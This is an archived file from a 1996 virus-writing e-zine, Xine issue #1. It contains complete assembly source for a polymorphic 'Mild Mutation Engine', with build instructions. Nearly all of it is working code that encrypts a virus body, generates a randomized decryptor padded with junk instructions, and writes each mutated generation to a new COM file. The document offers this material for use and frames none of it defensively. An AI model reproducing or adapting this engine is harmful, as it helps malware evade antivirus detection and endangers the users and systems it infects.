home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / XINE-1.ZIP / XINE-1.018 < prev    next >
Text File  |  1996-10-25  |  21KB  |  818 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 018 |
  4.                                         \-----------------------------/
  5.  
  6. ;JHB presents
  7. ;The Mild Mutation Engine
  8. ;
  9. ;
  10. ;TO COMPILE
  11. ;tasm, tlink to exe
  12. ;then mk.bat to convert to com file
  13. ;mk.bat
  14. ;debug da1.exe
  15. ;nda1.com
  16. ;w
  17. ;q
  18.  
  19. ;debug da1.com until the bp,bx then make bp = 0100
  20. ;go
  21. ;done
  22. ;------------------------------------------------------
  23. .286
  24. shift_loop      equ     2
  25.  
  26. code            segment
  27.         org     0h
  28.         assume  cs:code,ds:code
  29.  
  30. start:
  31.      
  32. virus_begin:    
  33.  
  34.  
  35. virus_code:
  36.         push    ds es
  37.  
  38.                                   
  39.         sub     bx,offset virus_code 
  40.         mov     bp,bx
  41.         
  42.         MOV     Dl,byte PTR [GENERATION + bp]
  43.         INC     Dl
  44.         MOV     byte PTR [GENERATION +bp ],Dl
  45.          
  46. ;ok start to set up for the call to the MME
  47. ;si - start of code to encrypted
  48. ;di = the buffer that will hold said decryptor and encrypted code
  49. ;cx = the lenght of the encrypted area
  50. ;dx = offset in the file for the decrytptor
  51. ;ax = size of the decryptor must be >26 bytes
  52. ;
  53. ;------------------------------------------------------------------------    
  54.         MOV     DX,0100h  ;MAKES THE RIGHT OFFSET FOR COM FILES
  55.         mov     bx,virus_size /2    ;size of code to encrypt
  56.         
  57.         mov     si,offset virus_code
  58.         add     si,bp
  59.  
  60.         mov     di,offset encrypt_buffer
  61.         add     di , bp
  62.  
  63.         mov     ax,40h
  64.         
  65.         call    encrypt_code
  66.         
  67.         
  68.         
  69.         mov     ax,di                      ;figures the new file
  70.         mov     di,offset encrypt_buffer   ;size
  71.         add     di , bp                    ;
  72.         sub     ax,di                      ;
  73.         push    ax                         ;
  74.  
  75. ;create the file to write the code to
  76.     mov     ax,3c00h
  77.     XOR     CX,CX
  78.     MOV     DX,OFFSET file_name 
  79.     add     dx,bp
  80.     INT     21H
  81.  
  82.     PUSH    AX 
  83.     POP     BX
  84.  
  85.     MOV     AX,4000H
  86.     pop     cx
  87.     MOV     DX,OFFSET encrypt_buffer
  88.     add     dx,bp
  89.     INT     21H
  90.     
  91.     POP     ES DS
  92.     mov     ax,4C00H                 
  93.     int     21H
  94.     
  95.  
  96. ;-----------------------------------------------------------------------
  97. ;dx = to the offset of the decryptor
  98. ;bx = size in words of code to be encrytped
  99. ;di = the buffer where we will leave the code
  100. ;si = the source of the to be encrypted code
  101. ;ax = size requested
  102. ;
  103. encrypt_code:
  104.         push    ax cx
  105.         
  106.         push    bx                   ;push the size of the code to
  107.                                              ;be encrypted
  108.         push    dx                   ;offset into the file where
  109.                                              ;the decryptor is to be
  110.         push    ax                   ;requested size of the 
  111.                                              ;decryptor
  112.  
  113. try_again:                
  114.         xor     ah,ah                ; get time for random number
  115.         int     1Ah
  116.         
  117.         and     dx,00000110b         ;binary mask to keep
  118.                                              ;the cipher to 2 4 6
  119.         cmp     dx,0
  120.         je      try_again
  121.         mov     word ptr[shift_amt + bp],dx  ; save encryption key
  122.         
  123.         pop     cx
  124.         mov     word ptr ds:[size_requested + bp],cx ;requested size of
  125.                                  ;decryptor
  126.         
  127.         pop     cx                               ;sets up the offset
  128.         mov     word ptr ds:[code_offset + bp] ,cx  ;for the code
  129.         
  130.         pop     cx                              ;sets the size of
  131.         mov     word ptr ds:[virus_size_wd + bp],cx 
  132.                                                      ;code to be encrypted
  133.                                           
  134.         push    cs                      ; ES = CS
  135.         pop     es
  136.         
  137.              
  138.  
  139.  
  140.          
  141.         call    make_decrypt
  142.         ;at this point si = start of the code to be encrypted 
  143.         ;while di = the point in buffer for it to be placed
  144.         
  145.          
  146.         
  147.          
  148.          
  149.  
  150. ;----------------------------------------------------------------------
  151. ;EN-CRYPT_ROUTINE                
  152.         PUSH    DX
  153.         
  154.          
  155.         mov     cx,VIRUS_SIZE / 2 + 1
  156. encrypt:
  157.         MOV     DX,word ptr [shift_amt + bp] 
  158.         lodsw                           ; encrypt virus code
  159.         
  160.         XCHG    DX,CX
  161. KEEP_GOING:                
  162.         CLC
  163.         SHR     AX,1
  164.         JNC     NO_HIGH_BIT_EN
  165.         ADD     AX,1000000000000000B
  166. NO_HIGH_BIT_EN:
  167.         
  168.         DEC     CX
  169.         JCXZ    DONE_2
  170.         JMP     SHORT KEEP_GOING
  171. DONE_2:
  172.         stosw
  173.         
  174.         XCHG    DX,CX
  175.         loop    encrypt
  176.  
  177.         pop     DX cx ax
  178.         ret
  179. ;EN-CRYPT_ROUTINE                
  180. ;--------------------------------------------------------------------
  181. ;make decrypt routine
  182. ;data
  183.  
  184. size_reg        db      02h     ;dx
  185. index_reg       db      03h     ;bx
  186. shift_reg       db      01h     ;cx
  187. holder_reg      db      00h     ;ax
  188.  
  189. virus_size_wd   dw      0               ;size of the code to be encrypted
  190. virus_start     dw      0               ;where the code to encrypted is
  191.                     ; to be after it is encrypted
  192.                     ;determined by the MME
  193. SHIFT_AMT       DW      02
  194.  
  195. code_offset     dw      0               ;used to determine where we are 
  196.                     ;placing the decrytor
  197. decrytptor_sz   dw      26h             ; 
  198. size_requested  dw      40h              
  199.     ;virus_size + 25h        ;which is the constant decryptor
  200.                         ;size
  201. rgs_used        db      00010011b       ;do not use sp ax cx 
  202.                     ;1  00000001  ax = 000  0
  203.                     ;2  00000010  cx = 001  1
  204.                     ;4  00000100  dx = 010  2
  205.                     ;8  00001000  bx = 011  3
  206.                     ;10 00010000  sp = 100  4
  207.                     ;20 00100000  bp = 101  5
  208.                     ;40 01000000  si = 110  6
  209.                     
  210.                     ;80 10000000  di = 111  7
  211.  
  212. ;ds:di = the start of the buffer where the decryptor is to be
  213.  
  214.  
  215. make_decrypt:
  216.     
  217.     mov     bx,ds:[decrytptor_sz + bp]              ;   dw      26h     
  218.     mov     ax,ds:[size_requested + bp]             ;   dw      30h    
  219.     
  220.     cmp     ax,bx
  221.     jg      size_is_ok 
  222.     
  223.     mov     ax,bx 
  224.     mov     byte ptr ds:[noise_amount+ bp],0      ;total # bytes to add
  225.     mov     word ptr ds:[size_requested + bp],26h ;starts
  226.     jmp     short no_noise_wanted
  227.  
  228. size_is_ok:
  229.     sub     ax,bx
  230.     mov     byte ptr ds:[noise_amount+ bp],al   ;total # bytes to add
  231.     
  232.     
  233.     
  234. no_noise_wanted:        
  235.  
  236.     mov     ax,ds:[code_offset + bp]        ;where the virus
  237.     add     ax,ds:[size_requested + bp]     ;starts
  238.     mov     ds:[virus_start + bp],ax        ;
  239.           
  240.  
  241. ;here is where the calls to mutate each reg should be         
  242. ;those calls will also determine what size reg 16 or 8 bit to use
  243. ;where they can be changed
  244.     
  245.     call    set_regs_used
  246.     
  247.     call    mut_index_reg
  248.     
  249.     call    mut_reg
  250.     mov     BYTE PTR DS:[SIZE_REG + BP],DL
  251.     
  252.     call    mut_reg
  253.     mov     BYTE PTR DS:[HOLDER_REG + BP],DL
  254.     
  255.     call    mut_reg
  256.     mov     BYTE PTR DS:[SHIFT_REG + BP],DL
  257.  
  258. ;----------------------------------------------------------------------
  259. ;this is where the actaul code generation starts
  260.  
  261. ;----------------------------------------------------------  
  262.     call    get_noise
  263.     call    set_noise
  264. ;----------------------------------------------------------                
  265.  
  266.     mov     aL,0B8H                 ;mov dx 
  267.     add     aL,ds:[size_reg + bp]
  268.     stosb
  269.     mov     ax,ds:[virus_size_wd + bp]
  270.     stosw                           ;mov dx,virus_size/2
  271.  
  272. ;----------------------------------------------------------  
  273.     call    get_noise
  274.     call    set_noise
  275. ;----------------------------------------------------------                
  276.  
  277.     mov     aL,0b8h
  278.     add     aL,ds:[index_reg + bp]       ;how long
  279.     stosb
  280.     mov     ax,ds:[virus_start + bp]
  281.     stosw                           ;mov bx, offset virus_code
  282.  
  283. ;---------------------------------------------------------- 
  284.     call    get_noise
  285.     call    set_noise
  286. ;----------------------------------------------------------                
  287.     
  288.     mov     aL,050h                 ;push reg   
  289.     add     aL,ds:[index_reg + bp]
  290.     stosb                           ;push bx   
  291.  
  292. ;----------------------------------------------------------       
  293.     call get_noise
  294.     call set_noise
  295. ;----------------------------------------------------------                
  296.     mov     aL,0b8h                 ;MOV
  297.     ADD     aL,ds:[SHIFT_reg + bp]
  298.     STOSB
  299.     MOV     AX,DS:[SHIFT_AMT + bp]       
  300.     STOSW                           ;MOV CX,SHIFT_LOOP
  301.     push    di                      ; use to figure jnz       3j
  302.  
  303. ;---------------------------------------------------------- 
  304.     call    get_noise
  305.     call    set_noise
  306. ;----------------------------------------------------------------
  307.     MOV     AL,02EH
  308.     STOSB                           ;CS:                   
  309. ;-------------------------------------------        
  310.     
  311.     MOV     Al,8BH                  ;MOV
  312.  
  313.     
  314.     MOV     Ah,DS:[INDEX_REG + bp]
  315.     
  316.     CMP     Ah,03H                  ;BX
  317.     JNE     NXT1                    ;
  318.     MOV     Ah,07H                  ;THE OFFSET BX
  319.     JMP     SHORT DONE1
  320.  
  321. NXT1:   CMP     Ah,06H                  ;SI
  322.     JNE     NXT2                    ;
  323.     MOV     Ah,04H
  324.     JMP     SHORT DONE1
  325.  
  326. NXT2:   MOV     Ah,05H
  327.  
  328. DONE1:
  329.     MOV     DL,DS:[holder_reg + bp]
  330.     shl     dl,3
  331.     mov     dh,11000111b            ;zero out the rrr part
  332.         
  333.     and      Ah,dh 
  334.     or       Ah,dl                  ;put the value in
  335.     STOSW                           ;MOV AX, CS:[BX]
  336.     push    di                      ;used for size figure for jmp 2j
  337.  
  338. ;----------------------------------------------------------       
  339.     call    get_noise
  340.     call    set_noise
  341. ;-----------------------------------------------------------        
  342.     
  343.     MOV     AL,0F8H
  344.     STOSB                           ;clc
  345. ;----------------------------------------------------------------         
  346. ; THIS AREA CAN BE MUTATED SEVERAL WAYS AT LEAST 4         
  347. ; D1 E0 90, D1 F0 90,  C1 E0 01, C1 F0 01 
  348.     
  349.     mov      dl,byte ptr ds:[SIZE_REG + BP] 
  350.     DB      0F6H, 0CAH, 01H        ;OTHER FORM OF TEST
  351.     ;TEST   DL,01H
  352.         ;JNE    C1_CODE                  ;
  353.  
  354.         JMP     C1_CODE
  355.     
  356.     mov     al,0D1h                 ; 
  357.     JMP     SHORT WRITE_IT          ;
  358.  
  359. C1_CODE:
  360.     MOV     AL,0C1h  
  361.     
  362. WRITE_IT:        
  363.     
  364.     ;TEST   DL,02H                        
  365.     DB      0F6H, 0CAH, 02H        ;OTHER FORM OF TEST
  366.         ;jne     Fo_code
  367.  
  368.         JMP     FO_CODE
  369.     mov     ah,0E0h
  370.     jmp     short write_2
  371.  
  372. Fo_code:
  373.     mov     ah,0F0h
  374.  
  375.     
  376.  
  377. write_2:
  378.     add     ah,ds:[holder_reg + bp]
  379.     stosw                           ;shl ax,1   
  380.     cmp     al,0c1h
  381.     je      need_1
  382.     INC     byte ptr DS:[NOISE_AMOUNT + BP]
  383.     JMP     SHORT NO_NEED_01
  384.  
  385. need_1:
  386.     mov     al,01
  387.     stosb
  388.  
  389. NO_NEED_01:
  390. ;----------------------------------------------------------                 
  391.     call    get_noise
  392.     call    set_noise
  393. ;----------------------------------------------------------                
  394.     
  395.     mov     al,073h
  396.     stosb
  397.     call    get_noise
  398.     mov     al,01h                 ;go one byte
  399.     add     al,bl                  ;how much noise
  400.     stosb                          ; 
  401.                 ;jnb  ???
  402.                 ;determine how many bytes the next
  403.                 ;instuction takes before and after it
  404.                 ;put that value in second al
  405. call    set_noise
  406.  
  407. ;----------------------------------------------------------------        
  408.     mov     al,40h
  409.     add     al,ds:[holder_reg + bp]
  410.     stosb                           ;inc ax
  411. ;----------------------------------------------------------                
  412.     call    get_noise
  413.     call    set_noise
  414. ;----------------------------------------------------------                
  415.     mov     al,48h
  416.     add     al,ds:[shift_reg + bp]
  417.     stosb                           ;dec cx   
  418. ;----------------------------------------------------------     
  419.     call    get_noise
  420.     call    set_noise
  421. ;----------------------------------------------------------                
  422.  
  423.     mov     al,83h
  424.     stosb
  425.     mov     al,0f8h
  426.     add     al,ds:[shift_reg + bp]
  427.     mov     ah,00
  428.     stosw                           ;cmp cx,0
  429.  
  430. ;----------------------------------------------------------   
  431.     call    get_noise
  432.     call    set_noise
  433. ;----------------------------------------------------------                
  434.     
  435.     mov     al,074h
  436.     stosb     
  437.     
  438.     mov     al,02h                  ;again must track for variable
  439.     call    get_noise               ;noise type instrusctions
  440.     add     al,bl
  441.     stosb                           ;jz ???
  442.     call    set_noise
  443.  
  444. ;----------------------------------------------------------------        
  445.     mov     al,0ebh
  446.     stosb                           ;again must track for variable
  447.     
  448.     mov     bx,di
  449.     pop     ax
  450.     sub     ax,bx
  451.     dec     ax
  452.     ;mov     al,0f1h                 ;noise instruction 
  453.     stosb                           ;jmp ???      jmp 010f
  454. ;----------------------------------------------------------             
  455.     call    get_noise
  456.     call    set_noise
  457. ;----------------------------------------------------------                
  458.  
  459.     mov     al,2eh
  460.     stosb                   ;cs:
  461. ;------------------------------------------------------------               
  462.     mov     al,089h     
  463.     
  464.     MOV     Ah,DS:[INDEX_REG + bp]
  465.     
  466.     CMP     Ah,03H                  ;BX
  467.     JNE     NXT1a                    ;
  468.     MOV     Ah,07H                  ;THE OFFSET BX
  469.     JMP     SHORT DONE1a
  470.  
  471. NXT1a:   CMP     Ah,06H                  ;SI
  472.     JNE     NXT2a                    ;
  473.     MOV     Ah,04H
  474.     JMP     SHORT DONE1a
  475.  
  476. NXT2a:   MOV     Ah,05H
  477.  
  478. DONE1a:
  479.     MOV     DL,DS:[holder_reg + bp]
  480.     shl     dl,3
  481.     mov     dh,11000111b            ;zero out the rrr part
  482.         
  483.     and      Ah,dh 
  484.     or       Ah,dl                  ;put the value in
  485.     STOSW                           ;MOV CS:[BX],AX 
  486.  
  487. ;----------------------------------------------------------          
  488.     call    get_noise
  489.     call    set_noise
  490. ;----------------------------------------------------------                
  491.     
  492.     mov     al,83h
  493.     stosb
  494.     mov     al,0c0h
  495.     add     al,ds:[index_reg + bp]
  496.     mov     ah,02
  497.     stosw                           ;add bx,2
  498. ;----------------------------------------------------------            
  499.     call    get_noise
  500.     call    set_noise
  501. ;----------------------------------------------------------                
  502.     mov     al,48h
  503.     add     al,ds:[size_reg + bp]
  504.     stosb                           ;dec dx   
  505.  
  506. ;----------------------------------------------------------             
  507.     call    get_noise
  508.     call    set_noise
  509. ;----------------------------------------------------------                
  510.     mov     bx,di
  511.     pop     ax
  512.     sub     ax,bx
  513.     xor     ah,ah
  514.     sub     al,5
  515.     xchg    al,ah
  516.     mov     al,075h                 ;jnz
  517.     ;mov     ah,0e2h                 ;again needs to variable
  518.     stosw
  519. ;----------------------------------------------------------------
  520.     mov     al,05bh
  521.     stosb                           ;pop     bx
  522. ;----------------------------------------------------------------        
  523. ;should put in any missing bytes to fill in the end        
  524. ;
  525. more_bytes_needed:
  526.  
  527.     mov     bl,ds:[noise_amount + bp]        
  528.     cmp     bl,0
  529.     je      outta_here
  530.     call    set_noise
  531.     cmp     ds:[noise_amount + bp],0
  532.     je      more_bytes_needed
  533. outta_here:        
  534.     ret
  535.  
  536. ;----------------------------------------------------------------        
  537. get_noise:                              ;determine #noise bytes
  538.     push    dx        
  539.     xor     dx,dx
  540.     
  541.     cmp     byte ptr ds:[noise_amount + bp],0
  542.     je      do_not_need
  543.     
  544.     cmp     byte ptr ds:[noise_amount + bp],1
  545.     je      only_one_needed
  546.  
  547. too_big:
  548. get_more:        
  549.     call    get_random              ; 0-7 bytes in dl
  550.  
  551. ok_1:
  552.     cmp     dl,byte ptr ds:[noise_amount + bp]
  553.     jg      too_big
  554.     
  555.     mov     bx,dx
  556.  
  557. do_not_need:
  558.     pop     dx 
  559.     ret                             ;
  560.  
  561. only_one_needed:
  562.     mov     bx,01
  563.     jmp     short do_not_need
  564. ;---------------------------------------------------------------
  565. noise_amount    db      0
  566. ;---------------------------------------------------------------
  567. last_noise      db      0
  568. ;---------------------------------------------------------------
  569.                     ;1  00000001  ax = 000  0
  570.                     ;2  00000010  cx = 001  1
  571.                     ;4  00000100  dx = 010  2
  572.                     ;8  00001000  bx = 011  3
  573.                     ;10 00010000  sp = 100  4
  574.                     ;20 00100000  bp = 101  5
  575.                     ;40 01000000  si = 110  6
  576.                     ;80 10000000  di = 111  7
  577.  
  578. ;---------------------------------------------         
  579. len_4   equ     end_noise_4 - noise_4
  580. noise_4:        
  581.     push    ax              ;1
  582.     int     11h             ;2
  583.     pop     ax              ;1
  584. end_noise_4:
  585. ;---------------------------------------------         
  586. len_6   equ     end_noise_6 - noise_6       
  587. noise_6:        
  588.     push    ax              ;1
  589.     mov     ax,0200h        ;3
  590.     int     16h             ;2
  591.     pop     ax              ;1
  592. end_noise_6:
  593. ;---------------------------------------------         
  594.  
  595. len_7   equ     end_noise_7 - noise_7
  596. noise_7:        
  597.     push    ax
  598.     mov     ax,1200h
  599.     int     16h
  600.     pop     ax
  601. end_noise_7:
  602. ;---------------------------------------------         
  603. ;
  604. ;on entry 
  605. ;bl = number of bytes we want to use
  606. ;bh = flags to what we can not use        
  607. ;also use the rgs_used  used flag to allow usage of other regs
  608. ;in the do nothing routines
  609.  
  610. set_noise:
  611.     ;cmp     bh,00h                
  612.     
  613.     CMP     BL,0
  614.     jne     bytes_needed
  615.     ret
  616.  
  617. bytes_needed:
  618.     push    ax cx
  619.     xor     cx,cx
  620.     mov     cl,byte ptr ds:[noise_amount + bp]
  621.     cmp     cl,0
  622.     je      no_more_bytes_need
  623.     
  624.  
  625.     cmp     bl,4
  626.     je     add4
  627.  
  628.     ;CMP     BL,6
  629.     ;JE      ADD6
  630.  
  631.     cmp     cl,7
  632.     jge     add7      
  633.  
  634.     
  635. put_more:
  636.     mov     al,090h
  637.     stosb
  638.     dec     cx
  639.     dec     bl
  640.     cmp     bl,0
  641.     jne     put_more
  642.  
  643. d_add7:        
  644.     mov     byte ptr ds:[noise_amount + bp],cl
  645.  
  646. no_more_bytes_need:
  647.     
  648.     pop     cx ax
  649.     ret
  650.  
  651. ;---------------------------------------------         
  652. add7:
  653.     push    cx si
  654.     mov     si,offset noise_7
  655.     add     si,bp
  656.     mov     cx,len_7
  657.     rep     movsb   
  658.     pop     si cx     
  659.     sub     cx,7
  660.     jmp     short d_add7 
  661. ;---------------------------------------------         
  662. add4:
  663.     push    cx
  664.  
  665.     xor     cx,cx
  666.     call    chk_new_reg 
  667.     jc      need_to_save_ax
  668.     
  669.     mov     ax,11cdh
  670.     stosw
  671.     pop     cx
  672.     dec     cx
  673.     dec     cx
  674.     jmp short d_add7         
  675.     
  676. need_to_save_ax:
  677.     push    si
  678.     mov     si,offset noise_4
  679.     add     si,bp
  680.     mov     cx,len_4
  681.     rep     movsb   
  682.     pop     si cx     
  683.     sub     cx,4
  684.     jmp short d_add7         
  685. ;---------------------------------------------         
  686. add6:
  687.     push    cx si
  688.     mov     si,offset noise_6
  689.     add     si,bp
  690.     mov     cx,len_6
  691.     rep     movsb   
  692.     pop     si cx     
  693.     sub     cx,6
  694.     jmp     short d_add7 
  695.  
  696. ;----------------------------------------------------------------        
  697. ;int 21 30 ax, ax bx cx -> get dos function
  698. ;int 21 20 ax, ax       -> null function for cpm
  699. ;int 21 18 ax, ax       -> null function for cpm
  700. ;int 21 0b ax, ax       -> gets stdin input
  701. ;int 21 0d ax, ax       -> disk reset   
  702. ;int 21 06 ah dl = ffh, al -> direct console input 
  703. ;int 13 10 ax dl, ax cf   ->check if drive is ready   
  704. ;int 16 12 ax, ax        -> get extended shift states
  705. ;int 17 ah,dx ah         -> get printer status
  706. ;
  707. ;----------------------------------------------------------------        
  708. last_random     db      0
  709.  
  710. get_random:
  711.     push    ax cx
  712.  
  713. new_random:        
  714.     
  715.     xor     ah,ah
  716.     int     1ah
  717.     and     dl,00000111b
  718.     cmp     dl,ds:[last_random+bp]
  719.     je      new_random
  720.     mov     byte ptr ds:[last_random+bp],dl   
  721.     pop     cx ax
  722.     ret
  723. ;----------------------------------------------------------------
  724. ;----------------------------------------------------------------        
  725. set_regs_used:
  726.     push    ax
  727.     mov     al,00010000b                    ;sp  
  728.     mov     byte ptr ds:[rgs_used + bp],al
  729.     pop     ax
  730.     ret
  731. ;----------------------------------------------------------------
  732. mut_index_reg:
  733.         pusha
  734.  
  735. try_again_i:
  736.         call    get_random
  737.         
  738.         cmp     dl,0
  739.         je      try_again_i
  740.         or      dl,00000010b
  741.         cmp     dl,2
  742.         je      try_again_i
  743.  
  744.         mov     cl,dl
  745.         call    chk_new_reg
  746.         jc      try_again_i
  747.         mov     byte ptr ds:[index_reg + bp],dl
  748.         
  749.         popa
  750.         ret
  751. ;=====================================================================
  752. mut_reg:
  753.            push     cx 
  754. try_again_s:             
  755.         call       get_random
  756.         
  757.         mov     cl,dl
  758.         call    chk_new_reg
  759.         jc      try_again_s
  760.         
  761.          
  762.         pop     cx
  763.         ret
  764. ;======================================================================
  765.  
  766.  
  767.  
  768. ;======================================================================
  769. ;on call 
  770. ;cl = the reg to use in the rrr format like cx = 001
  771. ;if ok then c is not set and rgs_used is set
  772. ;if no good then c is set 
  773.  
  774. chk_new_reg:
  775.         
  776.         pusha
  777.         xor     ax,ax
  778.         inc     ax
  779.         
  780.         shl     al,cl
  781.         push    ax
  782.         
  783.         and     al,byte ptr ds:[rgs_used + bp]
  784.         jz     ok_to_use
  785.         
  786.         stc
  787.         pop     ax
  788.         jmp     short problem
  789. ok_to_use:
  790. ;this area will set the rgs_used flags                
  791.  
  792.         pop     ax
  793.         or      byte ptr ds:[rgs_used + bp],al
  794. problem:                
  795.         popa
  796.         ret
  797. ;----------------------------------------------------------------
  798.  
  799.  
  800.  
  801. ;----------------------------------------------------------------
  802. file_name       db      "TEST"
  803. GENERATION      DB      "A"
  804. EXT             DB      ".COM",0
  805. bufferjhb       db      0
  806. virus_end:
  807.  
  808. VIRUS_SIZE      equ     OFFSET virus_end - OFFSET virus_begin
  809. read_buffer     db      28 dup (?)              ; read buffer
  810. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  811.  
  812. end_heap:
  813.  
  814. MEM_SIZE        equ     end_heap - start
  815.  
  816. code            ends
  817.         end     start
  818.